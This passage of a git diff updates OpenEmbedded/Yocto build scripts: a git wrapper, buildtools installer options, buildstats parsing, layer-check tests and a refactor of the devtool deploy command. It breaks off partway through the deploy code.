diff --git a/scripts/git b/scripts/git
new file mode 100755
index 0000000000..689adbf9dd
--- /dev/null
+++ b/scripts/git
@@ -0,0 +1,30 @@
+#!/usr/bin/env python3
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+# Wrapper around 'git' that doesn't think we are root
+
+import os
+import shutil
+import sys
+
+os.environ['PSEUDO_UNLOAD'] = '1'
+
+# calculate path to the real 'git'
+path = os.environ['PATH']
+# we need to remove our path but also any other copy of this script which
+# may be present, e.g. eSDK.
+replacements = [os.path.dirname(sys.argv[0])]
+for p in path.split(":"):
+ if p.endswith("/scripts"):
+ replacements.append(p)
+for r in replacements:
+ path = path.replace(r, '/ignoreme')
+real_git = shutil.which('git', path=path)
+
+if len(sys.argv) == 1:
+ os.execl(real_git, 'git')
+
+os.execv(real_git, sys.argv)
diff --git a/scripts/install-buildtools b/scripts/install-buildtools
index 7118f48be9..2218f3ffac 100755
--- a/scripts/install-buildtools
+++ b/scripts/install-buildtools
@@ -57,9 +57,9 @@ logger = scriptutils.logger_create(PROGNAME, stream=sys.stdout)
DEFAULT_INSTALL_DIR = os.path.join(os.path.split(scripts_path)[0],'buildtools')
DEFAULT_BASE_URL = 'http://downloads.yoctoproject.org/releases/yocto'
-DEFAULT_RELEASE = 'yocto-3.2_M1'
-DEFAULT_INSTALLER_VERSION = '3.1+snapshot'
-DEFAULT_BUILDDATE = '20200617'
+DEFAULT_RELEASE = 'yocto-4.1'
+DEFAULT_INSTALLER_VERSION = '4.1'
+DEFAULT_BUILDDATE = '202110XX'
# Python version sanity check
if not (sys.version_info.major == 3 and sys.version_info.minor >= 4):
@@ -154,6 +154,8 @@ def main():
group.add_argument('--without-extended-buildtools', action='store_false',
dest='with_extended_buildtools',
help='disable extended buildtools (traditional buildtools tarball)')
+ group.add_argument('--make-only', action='store_true',
+ help='only install make tarball')
group = parser.add_mutually_exclusive_group()
group.add_argument('-c', '--check', help='enable checksum validation',
default=True, action='store_true')
@@ -170,6 +172,9 @@ def main():
args = parser.parse_args()
+ if args.make_only:
+ args.with_extended_buildtools = False
+
if args.debug:
logger.setLevel(logging.DEBUG)
elif args.quiet:
@@ -197,7 +202,10 @@ def main():
if not args.build_date:
logger.error("Milestone installers require --build-date")
else:
- if args.with_extended_buildtools:
+ if args.make_only:
+ filename = "%s-buildtools-make-nativesdk-standalone-%s-%s.sh" % (
+ arch, args.installer_version, args.build_date)
+ elif args.with_extended_buildtools:
filename = "%s-buildtools-extended-nativesdk-standalone-%s-%s.sh" % (
arch, args.installer_version, args.build_date)
else:
@@ -207,6 +215,8 @@ def main():
buildtools_url = "%s/milestones/%s/buildtools/%s" % (base_url, args.release, safe_filename)
# regular release SDK
else:
+ if args.make_only:
+ filename = "%s-buildtools-make-nativesdk-standalone-%s.sh" % (arch, args.installer_version)
if args.with_extended_buildtools:
filename = "%s-buildtools-extended-nativesdk-standalone-%s.sh" % (arch, args.installer_version)
else:
@@ -303,7 +313,9 @@ def main():
if args.with_extended_buildtools and not m:
logger.info("Ignoring --with-extended-buildtools as filename "
"does not contain 'extended'")
- if args.with_extended_buildtools and m:
+ if args.make_only:
+ tool = 'make'
+ elif args.with_extended_buildtools and m:
tool = 'gcc'
else:
tool = 'tar'
diff --git a/scripts/lib/argparse_oe.py b/scripts/lib/argparse_oe.py
index 94a4ac5011..176b732bbc 100644
--- a/scripts/lib/argparse_oe.py
+++ b/scripts/lib/argparse_oe.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/scripts/lib/build_perf/report.py b/scripts/lib/build_perf/report.py
index 4e8e2a8a93..ab77424cc7 100644
--- a/scripts/lib/build_perf/report.py
+++ b/scripts/lib/build_perf/report.py
@@ -4,7 +4,8 @@
# SPDX-License-Identifier: GPL-2.0-only
#
"""Handling of build perf test reports"""
-from collections import OrderedDict, Mapping, namedtuple
+from collections import OrderedDict, namedtuple
+from collections.abc import Mapping
from datetime import datetime, timezone
from numbers import Number
from statistics import mean, stdev, variance
diff --git a/scripts/lib/buildstats.py b/scripts/lib/buildstats.py
index c69b5bf4d7..6db60d5bcf 100644
--- a/scripts/lib/buildstats.py
+++ b/scripts/lib/buildstats.py
@@ -8,7 +8,7 @@ import json
import logging
import os
import re
-from collections import namedtuple,OrderedDict
+from collections import namedtuple
from statistics import mean
@@ -79,8 +79,8 @@ class BSTask(dict):
return self['rusage']['ru_oublock']
@classmethod
- def from_file(cls, buildstat_file):
- """Read buildstat text file"""
+ def from_file(cls, buildstat_file, fallback_end=0):
+ """Read buildstat text file. fallback_end is an optional end time for tasks that are not recorded as finishing."""
bs_task = cls()
log.debug("Reading task buildstats from %s", buildstat_file)
end_time = None
@@ -108,7 +108,10 @@ class BSTask(dict):
bs_task[ru_type][ru_key] = val
elif key == 'Status':
bs_task['status'] = val
- if end_time is not None and start_time is not None:
+ # If the task didn't finish, fill in the fallback end time if specified
+ if start_time and not end_time and fallback_end:
+ end_time = fallback_end
+ if start_time and end_time:
bs_task['elapsed_time'] = end_time - start_time
else:
raise BSError("{} looks like a invalid buildstats file".format(buildstat_file))
@@ -226,25 +229,44 @@ class BuildStats(dict):
epoch = match.group('epoch')
return name, epoch, version, revision
+ @staticmethod
+ def parse_top_build_stats(path):
+ """
+ Parse the top-level build_stats file for build-wide start and duration.
+ """
+ start = elapsed = 0
+ with open(path) as fobj:
+ for line in fobj.readlines():
+ key, val = line.split(':', 1)
+ val = val.strip()
+ if key == 'Build Started':
+ start = float(val)
+ elif key == "Elapsed time":
+ elapsed = float(val.split()[0])
+ return start, elapsed
+
@classmethod
def from_dir(cls, path):
"""Load buildstats from a buildstats directory"""
- if not os.path.isfile(os.path.join(path, 'build_stats')):
+ top_stats = os.path.join(path, 'build_stats')
+ if not os.path.isfile(top_stats):
raise BSError("{} does not look like a buildstats directory".format(path))
log.debug("Reading buildstats directory %s", path)
-
buildstats = cls()
+ build_started, build_elapsed = buildstats.parse_top_build_stats(top_stats)
+ build_end = build_started + build_elapsed
+
subdirs = os.listdir(path)
for dirname in subdirs:
recipe_dir = os.path.join(path, dirname)
- if not os.path.isdir(recipe_dir):
+ if dirname == "reduced_proc_pressure" or not os.path.isdir(recipe_dir):
continue
name, epoch, version, revision = cls.split_nevr(dirname)
bsrecipe = BSRecipe(name, epoch, version, revision)
for task in os.listdir(recipe_dir):
bsrecipe.tasks[task] = BSTask.from_file(
- os.path.join(recipe_dir, task))
+ os.path.join(recipe_dir, task), build_end)
if name in buildstats:
raise BSError("Cannot handle multiple versions of the same "
"package ({})".format(name))
diff --git a/scripts/lib/checklayer/__init__.py b/scripts/lib/checklayer/__init__.py
index fe545607bb..62ecdfe390 100644
--- a/scripts/lib/checklayer/__init__.py
+++ b/scripts/lib/checklayer/__init__.py
@@ -16,6 +16,7 @@ class LayerType(Enum):
BSP = 0
DISTRO = 1
SOFTWARE = 2
+ CORE = 3
ERROR_NO_LAYER_CONF = 98
ERROR_BSP_DISTRO = 99
@@ -43,7 +44,7 @@ def _get_layer_collections(layer_path, lconf=None, data=None):
ldata.setVar('LAYERDIR', layer_path)
try:
- ldata = bb.parse.handle(lconf, ldata, include=True)
+ ldata = bb.parse.handle(lconf, ldata, include=True, baseconfig=True)
except:
raise RuntimeError("Parsing of layer.conf from layer: %s failed" % layer_path)
ldata.expandVarref('LAYERDIR')
@@ -106,7 +107,13 @@ def _detect_layer(layer_path):
if distros:
is_distro = True
- if is_bsp and is_distro:
+ layer['collections'] = _get_layer_collections(layer['path'])
+
+ if layer_name == "meta" and "core" in layer['collections']:
+ layer['type'] = LayerType.CORE
+ layer['conf']['machines'] = machines
+ layer['conf']['distros'] = distros
+ elif is_bsp and is_distro:
layer['type'] = LayerType.ERROR_BSP_DISTRO
elif is_bsp:
layer['type'] = LayerType.BSP
@@ -117,8 +124,6 @@ def _detect_layer(layer_path):
else:
layer['type'] = LayerType.SOFTWARE
- layer['collections'] = _get_layer_collections(layer['path'])
-
return layer
def detect_layers(layer_directories, no_auto):
@@ -146,7 +151,7 @@ def detect_layers(layer_directories, no_auto):
return layers
-def _find_layer_depends(depend, layers):
+def _find_layer(depend, layers):
for layer in layers:
if 'collections' not in layer:
continue
@@ -156,7 +161,28 @@ def _find_layer_depends(depend, layers):
return layer
return None
-def add_layer_dependencies(bblayersconf, layer, layers, logger):
+def sanity_check_layers(layers, logger):
+ """
+ Check that we didn't find duplicate collection names, as the layer that will
+ be used is non-deterministic. The precise check is duplicate collections
+ with different patterns, as the same pattern being repeated won't cause
+ problems.
+ """
+ import collections
+
+ passed = True
+ seen = collections.defaultdict(set)
+ for layer in layers:
+ for name, data in layer.get("collections", {}).items():
+ seen[name].add(data["pattern"])
+
+ for name, patterns in seen.items():
+ if len(patterns) > 1:
+ passed = False
+ logger.error("Collection %s found multiple times: %s" % (name, ", ".join(patterns)))
+ return passed
+
+def get_layer_dependencies(layer, layers, logger):
def recurse_dependencies(depends, layer, layers, logger, ret = []):
logger.debug('Processing dependencies %s for layer %s.' % \
(depends, layer['name']))
@@ -166,7 +192,7 @@ def add_layer_dependencies(bblayersconf, layer, layers, logger):
if depend == 'core':
continue
- layer_depend = _find_layer_depends(depend, layers)
+ layer_depend = _find_layer(depend, layers)
if not layer_depend:
logger.error('Layer %s depends on %s and isn\'t found.' % \
(layer['name'], depend))
@@ -203,6 +229,11 @@ def add_layer_dependencies(bblayersconf, layer, layers, logger):
layer_depends = recurse_dependencies(depends, layer, layers, logger, layer_depends)
# Note: [] (empty) is allowed, None is not!
+ return layer_depends
+
+def add_layer_dependencies(bblayersconf, layer, layers, logger):
+
+ layer_depends = get_layer_dependencies(layer, layers, logger)
if layer_depends is None:
return False
else:
@@ -256,7 +287,7 @@ def check_command(error_msg, cmd, cwd=None):
raise RuntimeError(msg)
return output
-def get_signatures(builddir, failsafe=False, machine=None):
+def get_signatures(builddir, failsafe=False, machine=None, extravars=None):
import re
# some recipes needs to be excluded like meta-world-pkgdata
@@ -267,13 +298,16 @@ def get_signatures(builddir, failsafe=False, machine=None):
sigs = {}
tune2tasks = {}
- cmd = 'BB_ENV_EXTRAWHITE="$BB_ENV_EXTRAWHITE BB_SIGNATURE_HANDLER" BB_SIGNATURE_HANDLER="OEBasicHash" '
+ cmd = 'BB_ENV_PASSTHROUGH_ADDITIONS="$BB_ENV_PASSTHROUGH_ADDITIONS BB_SIGNATURE_HANDLER" BB_SIGNATURE_HANDLER="OEBasicHash" '
+ if extravars:
+ cmd += extravars
+ cmd += ' '
if machine:
cmd += 'MACHINE=%s ' % machine
cmd += 'bitbake '
if failsafe:
cmd += '-k '
- cmd += '-S none world'
+ cmd += '-S lockedsigs world'
sigs_file = os.path.join(builddir, 'locked-sigs.inc')
if os.path.exists(sigs_file):
os.unlink(sigs_file)
@@ -290,8 +324,8 @@ def get_signatures(builddir, failsafe=False, machine=None):
else:
raise
- sig_regex = re.compile("^(?P<task>.*:.*):(?P<hash>.*) .$")
- tune_regex = re.compile("(^|\s)SIGGEN_LOCKEDSIGS_t-(?P<tune>\S*)\s*=\s*")
+ sig_regex = re.compile(r"^(?P<task>.*:.*):(?P<hash>.*) .$")
+ tune_regex = re.compile(r"(^|\s)SIGGEN_LOCKEDSIGS_t-(?P<tune>\S*)\s*=\s*")
current_tune = None
with open(sigs_file, 'r') as f:
for line in f.readlines():
diff --git a/scripts/lib/checklayer/cases/bsp.py b/scripts/lib/checklayer/cases/bsp.py
index 7fd56f5d36..b76163fb56 100644
--- a/scripts/lib/checklayer/cases/bsp.py
+++ b/scripts/lib/checklayer/cases/bsp.py
@@ -11,7 +11,7 @@ from checklayer.case import OECheckLayerTestCase
class BSPCheckLayer(OECheckLayerTestCase):
@classmethod
def setUpClass(self):
- if self.tc.layer['type'] != LayerType.BSP:
+ if self.tc.layer['type'] not in (LayerType.BSP, LayerType.CORE):
raise unittest.SkipTest("BSPCheckLayer: Layer %s isn't BSP one." %\
self.tc.layer['name'])
@@ -153,7 +153,7 @@ class BSPCheckLayer(OECheckLayerTestCase):
# do_build can be ignored: it is know to have
# different signatures in some cases, for example in
# the allarch ca-certificates due to RDEPENDS=openssl.
- # That particular dependency is whitelisted via
+ # That particular dependency is marked via
# SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS, but still shows up
# in the sstate signature hash because filtering it
# out would be hard and running do_build multiple
diff --git a/scripts/lib/checklayer/cases/common.py b/scripts/lib/checklayer/cases/common.py
index b82304e361..97b16f78c8 100644
--- a/scripts/lib/checklayer/cases/common.py
+++ b/scripts/lib/checklayer/cases/common.py
@@ -6,15 +6,19 @@
import glob
import os
import unittest
+import re
from checklayer import get_signatures, LayerType, check_command, get_depgraph, compare_signatures
from checklayer.case import OECheckLayerTestCase
class CommonCheckLayer(OECheckLayerTestCase):
def test_readme(self):
+ if self.tc.layer['type'] == LayerType.CORE:
+ raise unittest.SkipTest("Core layer's README is top level")
+
# The top-level README file may have a suffix (like README.rst or README.txt).
readme_files = glob.glob(os.path.join(self.tc.layer['path'], '[Rr][Ee][Aa][Dd][Mm][Ee]*'))
self.assertTrue(len(readme_files) > 0,
- msg="Layer doesn't contains README file.")
+ msg="Layer doesn't contain a README file.")
# There might be more than one file matching the file pattern above
# (for example, README.rst and README-COPYING.rst). The one with the shortest
@@ -26,6 +30,16 @@ class CommonCheckLayer(OECheckLayerTestCase):
self.assertTrue(data,
msg="Layer contains a README file but it is empty.")
+ # If a layer's README references another README, then the checks below are not valid
+ if re.search('README', data, re.IGNORECASE):
+ return
+
+ self.assertIn('maintainer', data.lower())
+ self.assertIn('patch', data.lower())
+ # Check that there is an email address in the README
+ email_regex = re.compile(r"[^@]+@[^@]+")
+ self.assertTrue(email_regex.match(data))
+
def test_parse(self):
check_command('Layer %s failed to parse.' % self.tc.layer['name'],
'bitbake -p')
@@ -43,6 +57,36 @@ class CommonCheckLayer(OECheckLayerTestCase):
'''
get_signatures(self.td['builddir'], failsafe=False)
+ def test_world_inherit_class(self):
+ '''
+ This also does "bitbake -S none world" along with inheriting "yocto-check-layer"
+ class, which can do additional per-recipe test cases.
+ '''
+ msg = []
+ try:
+ get_signatures(self.td['builddir'], failsafe=False, machine=None, extravars='BB_ENV_PASSTHROUGH_ADDITIONS="$BB_ENV_PASSTHROUGH_ADDITIONS INHERIT" INHERIT="yocto-check-layer"')
+ except RuntimeError as ex:
+ msg.append(str(ex))
+ if msg:
+ msg.insert(0, 'Layer %s failed additional checks from yocto-check-layer.bbclass\nSee below log for specific recipe parsing errors:\n' % \
+ self.tc.layer['name'])
+ self.fail('\n'.join(msg))
+
+ @unittest.expectedFailure
+ def test_patches_upstream_status(self):
+ import sys
+ sys.path.append(os.path.join(sys.path[0], '../../../../meta/lib/'))
+ import oe.qa
+ patches = []
+ for dirpath, dirs, files in os.walk(self.tc.layer['path']):
+ for filename in files:
+ if filename.endswith(".patch"):
+ ppath = os.path.join(dirpath, filename)
+ if oe.qa.check_upstream_status(ppath):
+ patches.append(ppath)
+ self.assertEqual(len(patches), 0 , \
+ msg="Found following patches with malformed or missing upstream status:\n%s" % '\n'.join([str(patch) for patch in patches]))
+
def test_signatures(self):
if self.tc.layer['type'] == LayerType.SOFTWARE and \
not self.tc.test_software_layer_signatures:
diff --git a/scripts/lib/checklayer/cases/distro.py b/scripts/lib/checklayer/cases/distro.py
index f0bee5493c..a35332451c 100644
--- a/scripts/lib/checklayer/cases/distro.py
+++ b/scripts/lib/checklayer/cases/distro.py
@@ -11,7 +11,7 @@ from checklayer.case import OECheckLayerTestCase
class DistroCheckLayer(OECheckLayerTestCase):
@classmethod
def setUpClass(self):
- if self.tc.layer['type'] != LayerType.DISTRO:
+ if self.tc.layer['type'] not in (LayerType.DISTRO, LayerType.CORE):
raise unittest.SkipTest("DistroCheckLayer: Layer %s isn't Distro one." %\
self.tc.layer['name'])
diff --git a/scripts/lib/devtool/__init__.py b/scripts/lib/devtool/__init__.py
index 6ebe368a9e..6133c1c5b4 100644
--- a/scripts/lib/devtool/__init__.py
+++ b/scripts/lib/devtool/__init__.py
@@ -78,12 +78,15 @@ def exec_fakeroot(d, cmd, **kwargs):
"""Run a command under fakeroot (pseudo, in fact) so that it picks up the appropriate file permissions"""
# Grab the command and check it actually exists
fakerootcmd = d.getVar('FAKEROOTCMD')
+ fakerootenv = d.getVar('FAKEROOTENV')
+ exec_fakeroot_no_d(fakerootcmd, fakerootenv, cmd, kwargs)
+
+def exec_fakeroot_no_d(fakerootcmd, fakerootenv, cmd, **kwargs):
if not os.path.exists(fakerootcmd):
logger.error('pseudo executable %s could not be found - have you run a build yet? pseudo-native should install this and if you have run any build then that should have been built')
return 2
# Set up the appropriate environment
newenv = dict(os.environ)
- fakerootenv = d.getVar('FAKEROOTENV')
for varvalue in fakerootenv.split():
if '=' in varvalue:
splitval = varvalue.split('=', 1)
@@ -212,8 +215,13 @@ def setup_git_repo(repodir, version, devbranch, basetag='devtool-base', d=None):
bb.process.run(commit_cmd, cwd=repodir)
# Ensure singletask.lock (as used by externalsrc.bbclass) is ignored by git
+ gitinfodir = os.path.join(repodir, '.git', 'info')
+ try:
+ os.mkdir(gitinfodir)
+ except FileExistsError:
+ pass
excludes = []
- excludefile = os.path.join(repodir, '.git', 'info', 'exclude')
+ excludefile = os.path.join(gitinfodir, 'exclude')
try:
with open(excludefile, 'r') as f:
excludes = f.readlines()
@@ -228,6 +236,28 @@ def setup_git_repo(repodir, version, devbranch, basetag='devtool-base', d=None):
bb.process.run('git checkout -b %s' % devbranch, cwd=repodir)
bb.process.run('git tag -f %s' % basetag, cwd=repodir)
+ # if recipe unpacks another git repo inside S, we need to declare it as a regular git submodule now,
+ # so we will be able to tag branches on it and extract patches when doing finish/update on the recipe
+ stdout, _ = bb.process.run("git status --porcelain", cwd=repodir)
+ found = False
+ for line in stdout.splitlines():
+ if line.endswith("/"):
+ new_dir = line.split()[1]
+ for root, dirs, files in os.walk(os.path.join(repodir, new_dir)):
+ if ".git" in dirs + files:
+ (stdout, _) = bb.process.run('git remote', cwd=root)
+ remote = stdout.splitlines()[0]
+ (stdout, _) = bb.process.run('git remote get-url %s' % remote, cwd=root)
+ remote_url = stdout.splitlines()[0]
+ logger.error(os.path.relpath(os.path.join(root, ".."), root))
+ bb.process.run('git submodule add %s %s' % (remote_url, os.path.relpath(root, os.path.join(root, ".."))), cwd=os.path.join(root, ".."))
+ found = True
+ if found:
+ oe.patch.GitApplyTree.commitIgnored("Add additional submodule from SRC_URI", dir=os.path.join(root, ".."), d=d)
+ found = False
+ if os.path.exists(os.path.join(repodir, '.gitmodules')):
+ bb.process.run('git submodule foreach --recursive "git tag -f %s"' % basetag, cwd=repodir)
+
def recipe_to_append(recipefile, config, wildcard=False):
"""
Convert a recipe file to a bbappend file path within the workspace.
diff --git a/scripts/lib/devtool/build_image.py b/scripts/lib/devtool/build_image.py
index 9388abbacf..980f90ddd6 100644
--- a/scripts/lib/devtool/build_image.py
+++ b/scripts/lib/devtool/build_image.py
@@ -113,7 +113,7 @@ def build_image_task(config, basepath, workspace, image, add_packages=None, task
with open(appendfile, 'w') as afile:
if packages:
# include packages from workspace recipes into the image
- afile.write('IMAGE_INSTALL_append = " %s"\n' % ' '.join(packages))
+ afile.write('IMAGE_INSTALL:append = " %s"\n' % ' '.join(packages))
if not task:
logger.info('Building image %s with the following '
'additional packages: %s', image, ' '.join(packages))
diff --git a/scripts/lib/devtool/build_sdk.py b/scripts/lib/devtool/build_sdk.py
index 6fe02fff2a..1cd4831d2b 100644
--- a/scripts/lib/devtool/build_sdk.py
+++ b/scripts/lib/devtool/build_sdk.py
@@ -13,7 +13,7 @@ import shutil
import errno
import sys
import tempfile
-from devtool import exec_build_env_command, setup_tinfoil, parse_recipe, DevtoolError
+from devtool import DevtoolError
from devtool import build_image
logger = logging.getLogger('devtool')
diff --git a/scripts/lib/devtool/deploy.py b/scripts/lib/devtool/deploy.py
index b1749ce672..b5ca8f2c2f 100644
--- a/scripts/lib/devtool/deploy.py
+++ b/scripts/lib/devtool/deploy.py
@@ -16,7 +16,7 @@ import bb.utils
import argparse_oe
import oe.types
-from devtool import exec_fakeroot, setup_tinfoil, check_workspace_recipe, DevtoolError
+from devtool import exec_fakeroot_no_d, setup_tinfoil, check_workspace_recipe, DevtoolError
logger = logging.getLogger('devtool')
@@ -133,16 +133,38 @@ def _prepare_remote_script(deploy, verbose=False, dryrun=False, undeployall=Fals
return '\n'.join(lines)
-
-
def deploy(args, config, basepath, workspace):
"""Entry point for the devtool 'deploy' subcommand"""
- import math
- import oe.recipeutils
- import oe.package
+ import oe.utils
check_workspace_recipe(workspace, args.recipename, checksrc=False)
+ tinfoil = setup_tinfoil(basepath=basepath)
+ try:
+ try:
+ rd = tinfoil.parse_recipe(args.recipename)
+ except Exception as e:
+ raise DevtoolError('Exception parsing recipe %s: %s' %
+ (args.recipename, e))
+
+ srcdir = rd.getVar('D')
+ workdir = rd.getVar('WORKDIR')
+ path = rd.getVar('PATH')
+ strip_cmd = rd.getVar('STRIP')
+ libdir = rd.getVar('libdir')
+ base_libdir = rd.getVar('base_libdir')
+ max_process = oe.utils.get_bb_number_threads(rd)
+ fakerootcmd = rd.getVar('FAKEROOTCMD')
+ fakerootenv = rd.getVar('FAKEROOTENV')
+ finally:
+ tinfoil.shutdown()
+
+ return deploy_no_d(srcdir, workdir, path, strip_cmd, libdir, base_libdir, max_process, fakerootcmd, fakerootenv, args)
+
+def deploy_no_d(srcdir, workdir, path, strip_cmd, libdir, base_libdir, max_process, fakerootcmd, fakerootenv, args):
+ import math
+ import oe.package
+
try:
host, destdir = args.target.split(':')
except ValueError:
@@ -152,112 +174,108 @@ def deploy(args, config, basepath, workspace):
if not destdir.endswith('/'):
destdir += '/'
- tinfoil = setup_tinfoil(basepath=basepath)
- try:
- try:
- rd = tinfoil.parse_recipe(args.recipename)
- except Exception as e:
- raise DevtoolError('Exception parsing recipe %s: %s' %
- (args.recipename, e))
- recipe_outdir = rd.getVar('D')
- if not os.path.exists(recipe_outdir) or not os.listdir(recipe_outdir):
- raise DevtoolError('No files to deploy - have you built the %s '
- 'recipe? If so, the install step has not installed '
- 'any files.' % args.recipename)
-
- if args.strip and not args.dry_run:
- # Fakeroot copy to new destination
- srcdir = recipe_outdir
- recipe_outdir = os.path.join(rd.getVar('WORKDIR'), 'deploy-target-stripped')
- if os.path.isdir(recipe_outdir):
- bb.utils.remove(recipe_outdir, True)
- exec_fakeroot(rd, "cp -af %s %s" % (os.path.join(srcdir, '.'), recipe_outdir), shell=True)
- os.environ['PATH'] = ':'.join([os.environ['PATH'], rd.getVar('PATH') or ''])
- oe.package.strip_execs(args.recipename, recipe_outdir, rd.getVar('STRIP'), rd.getVar('libdir'),
- rd.getVar('base_libdir'), rd)
-
- filelist = []
- ftotalsize = 0
- for root, _, files in os.walk(recipe_outdir):
- for fn in files:
- # Get the size in kiB (since we'll be comparing it to the output of du -k)
- # MUST use lstat() here not stat() or getfilesize() since we don't want to
- # dereference symlinks
- fsize = int(math.ceil(float(os.lstat(os.path.join(root, fn)).st_size)/1024))
- ftotalsize += fsize
- # The path as it would appear on the target
- fpath = os.path.join(destdir, os.path.relpath(root, recipe_outdir), fn)
- filelist.append((fpath, fsize))
-
- if args.dry_run:
- print('Files to be deployed for %s on target %s:' % (args.recipename, args.target))
- for item, _ in filelist:
- print(' %s' % item)
- return 0
-
- extraoptions = ''
- if args.no_host_check:
- extraoptions += '-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
- if not args.show_status:
- extraoptions += ' -q'
-
- scp_sshexec = ''
- ssh_sshexec = 'ssh'
- if args.ssh_exec:
- scp_sshexec = "-S %s" % args.ssh_exec
- ssh_sshexec = args.ssh_exec
- scp_port = ''
- ssh_port = ''
- if args.port:
- scp_port = "-P %s" % args.port
- ssh_port = "-p %s" % args.port
-
- if args.key:
- extraoptions += ' -i %s' % args.key
-
- # In order to delete previously deployed files and have the manifest file on
- # the target, we write out a shell script and then copy it to the target
- # so we can then run it (piping tar output to it).
- # (We cannot use scp here, because it doesn't preserve symlinks.)
- tmpdir = tempfile.mkdtemp(prefix='devtool')
- try:
- tmpscript = '/tmp/devtool_deploy.sh'
- tmpfilelist = os.path.join(os.path.dirname(tmpscript), 'devtool_deploy.list')
- shellscript = _prepare_remote_script(deploy=True,
- verbose=args.show_status,
- nopreserve=args.no_preserve,
- nocheckspace=args.no_check_space)
- # Write out the script to a file
- with open(os.path.join(tmpdir, os.path.basename(tmpscript)), 'w') as f:
- f.write(shellscript)
- # Write out the file list
- with open(os.path.join(tmpdir, os.path.basename(tmpfilelist)), 'w') as f:
- f.write('%d\n' % ftotalsize)
- for fpath, fsize in filelist:
- f.write('%s %d\n' % (fpath, fsize))
- # Copy them to the target
- ret = subprocess.call("scp %s %s %s %s/* %s:%s" % (scp_sshexec, scp_port, extraoptions, tmpdir, args.target, os.path.dirname(tmpscript)), shell=True)
- if ret != 0:
- raise DevtoolError('Failed to copy script to %s - rerun with -s to '
- 'get a complete error message' % args.target)
- finally:
- shutil.rmtree(tmpdir)
+ recipe_outdir = srcdir
+ if not os.path.exists(recipe_outdir) or not os.listdir(recipe_outdir):
+ raise DevtoolError('No files to deploy - have you built the %s '
+ 'recipe? If so, the install step has not installed '
+ 'any files.' % args.recipename)
+
+ if args.strip and not args.dry_run:
+ # Fakeroot copy to new destination
+ srcdir = recipe_outdir
+ recipe_outdir = os.path.join(workdir, 'devtool-deploy-target-stripped')
+ if os.path.isdir(recipe_outdir):
+ exec_fakeroot_no_d(fakerootcmd, fakerootenv, "rm -rf %s" % recipe_outdir, shell=True)
+ exec_fakeroot_no_d(fakerootcmd, fakerootenv, "cp -af %s %s" % (os.path.join(srcdir, '.'), recipe_outdir), shell=True)
+ os.environ['PATH'] = ':'.join([os.environ['PATH'], path or ''])
+ oe.package.strip_execs(args.recipename, recipe_outdir, strip_cmd, libdir, base_libdir, max_process)
+
+ filelist = []
+ inodes = set({})
+ ftotalsize = 0
+ for root, _, files in os.walk(recipe_outdir):
+ for fn in files:
+ fstat = os.lstat(os.path.join(root, fn))
+ # Get the size in kiB (since we'll be comparing it to the output of du -k)
+ # MUST use lstat() here not stat() or getfilesize() since we don't want to
+ # dereference symlinks
+ if fstat.st_ino in inodes:
+ fsize = 0
+ else:
+ fsize = int(math.ceil(float(fstat.st_size)/1024))
+ inodes.add(fstat.st_ino)
+ ftotalsize += fsize
+ # The path as it would appear on the target
+ fpath = os.path.join(destdir, os.path.relpath(root, recipe_outdir), fn)
+ filelist.append((fpath, fsize))
+
+ if args.dry_run:
+ print('Files to be deployed for %s on target %s:' % (args.recipename, args.target))
+ for item, _ in filelist:
+ print(' %s' % item)
+ return 0
- # Now run the script
- ret = exec_fakeroot(rd, 'tar cf - . | %s %s %s %s \'sh %s %s %s %s\'' % (ssh_sshexec, ssh_port, extraoptions, args.target, tmpscript, args.recipename, destdir, tmpfilelist), cwd=recipe_outdir, shell=True)
- if ret != 0:
- raise DevtoolError('Deploy failed - rerun with -s to get a complete '
- 'error message')
+ extraoptions = ''
+ if args.no_host_check:
+ extraoptions += '-o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no'
+ if not args.show_status:
+ extraoptions += ' -q'
- logger.info('Successfully deployed %s' % recipe_outdir)
+ scp_sshexec = ''
+ ssh_sshexec = 'ssh'
+ if args.ssh_exec:
+ scp_sshexec = "-S %s" % args.ssh_exec
+ ssh_sshexec = args.ssh_exec
+ scp_port = ''
+ ssh_port = ''
+ if args.port:
+ scp_port = "-P %s" % args.port
+ ssh_port = "-p %s" % args.port
+
+ if args.key:
+ extraoptions += ' -i %s' % args.key
- files_list = []
- for root, _, files in os.walk(recipe_outdir):
- for filename in files:
- filename = os.path.relpath(os.path.join(root, filename), recipe_outdir)
- files_list.append(os.path.join(destdir, filename))
+ # In order to delete previously deployed files and have the manifest file on
+ # the target, we write out a shell script and then copy it to the target
+ # so we can then run it (piping tar output to it).
+ # (We cannot use scp here, because it doesn't preserve symlinks.)
+ tmpdir = tempfile.mkdtemp(prefix='devtool')
+ try:
+ tmpscript = '/tmp/devtool_deploy.sh'
+ tmpfilelist = os.path.join(os.path.dirname(tmpscript), 'devtool_deploy.list')
+ shellscript = _prepare_remote_script(deploy=True,
+ verbose=args.show_status,
+ nopreserve=args.no_preserve,
+ nocheckspace=args.no_check_space)
+ # Write out the script to a file
+ with open(os.path.join(tmpdir, os.path.basename(tmpscript)), 'w') as f:
+ f.write(shellscript)
+ # Write out the file list
+ with open(os.path.join(tmpdir, os.path.basename(tmpfilelist)), 'w') as f:
+ f.write('%d\n' % ftotalsize)
+ for fpath, fsize in filelist:
+ f.write('%s %d\n' % (fpath, fsize))
+ # Copy them to the target
+ ret = subprocess.call("scp %s %s %s %s/* %s:%s" % (scp_sshexec, scp_port, extraoptions, tmpdir, args.target, os.path.dirname(tmpscript)), shell=True)
+ if ret != 0:
+ raise DevtoolError('Failed to copy script to %s - rerun with -s to '
+ 'get a complete error message' % args.target)
finally:
- tinfoil.shutdown()
+ shutil.rmtree(tmpdir)
+
+ # Now run the script
+ ret = exec_fakeroot_no_d(fakerootcmd, fakerootenv, 'tar cf - . | %s %s %s %s \'sh %s %s %s %s\'' % (ssh_sshexec, ssh_port, extraoptions, args.target, tmpscript, args.recipename, destdir, tmpfilelist), cwd=recipe_outdir, shell=True)
+ if ret != 0:
+ raise DevtoolError('Deploy failed - rerun with -s to get a complete '
+ 'error message')
+
+ logger.info('Successfully deployed %s' % recipe_outdir)
+
+ files_list = []
+ for root, _, files in os.walk(recipe_outdir):
+ for filename in files:
+ filename = os.path.relpath(os.path.join(root, filename), recipe_outdir)
